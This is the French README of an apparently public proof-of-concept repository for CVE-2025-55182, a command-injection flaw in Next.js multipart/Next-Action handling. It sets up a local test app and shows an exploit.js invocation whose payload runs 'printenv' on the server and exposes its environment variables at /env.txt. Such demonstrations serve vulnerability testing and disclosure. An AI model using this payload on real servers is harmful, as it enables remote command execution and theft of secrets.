
Exploit de preuve de concept pour CVE-2025-55182 ciblant la gestion multipart/Next-Action de Next.js avec un script de démonstration d'injection de commandes locale.
Un petit dépôt contenant :
test-app/ : une application de test Next.js 16 (React 19) utilisant le App Router.exploit.js : un script local de preuve de concept utilisé pour démontrer et tester le comportement du serveur autour de la gestion de multipart/Next-Action. Destiné uniquement aux tests locaux.rsc-test-app/
├─ README.md # You are here
├─ exploit.js # PoC script (local-only)
└─ test-app/ # Next.js application
├─ app/ # App Router pages
├─ public/ # Static assets (and env.txt when generated)
├─ package.json # Next 16 / React 19
└─ README.md # Default Next.js template README
cd test-app
npm install
npm run dev
# App will be available at http://localhost:3000
npm run build
npm start
Ce script construit une requête multipart avec un en-tête Next-Action pour tester le comportement du serveur. Par défaut, il tente d'exécuter une commande sur le processus serveur qui écrit l'environnement dans public/env.txt (pour démonstration dans un environnement local/de développement).
Remarques importantes :
public/ se résout sous test-app/public/.Dans un terminal séparé, assurez-vous que l'application Next.js est en cours d'exécution sur http://localhost:3000 :
cd test-app
npm run dev
Depuis la racine du dépôt, exécutez le script :
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
Paramètres :
http://localhost:3000.sh -lc 'printenv > public/env.txt'.Après exécution, vérifiez le fichier généré :
en accédant à
http://localhost:3000/env.txt
Et voilà les variables d'environnement du serveur.